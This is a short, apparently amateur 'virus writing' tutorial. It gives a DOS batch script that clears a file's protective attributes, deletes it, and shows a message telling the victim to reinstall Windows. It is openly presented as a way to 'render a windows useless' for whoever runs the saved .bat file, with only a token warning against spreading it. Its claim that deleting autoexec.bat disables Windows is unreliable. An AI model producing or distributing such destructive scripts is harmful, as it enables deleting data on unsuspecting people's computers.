Messing with files

This is the virus writing basic section. Toady i am going to show how to render a windows useless using dos programing.



@echo off

attrib -r -s -h FileName

del FileName

@echo off

msg *c:\autoexec.bat is deleted by this. Plz reinstall windows.


Now save it as something.bat .

Replace FileName with any file like c:\autoexec .Job done



Now when some one runs it the specfied File is deleted . Plz Note you will get into serious trouble if you spread this. Although the virus just deletes a files be careful what it deletes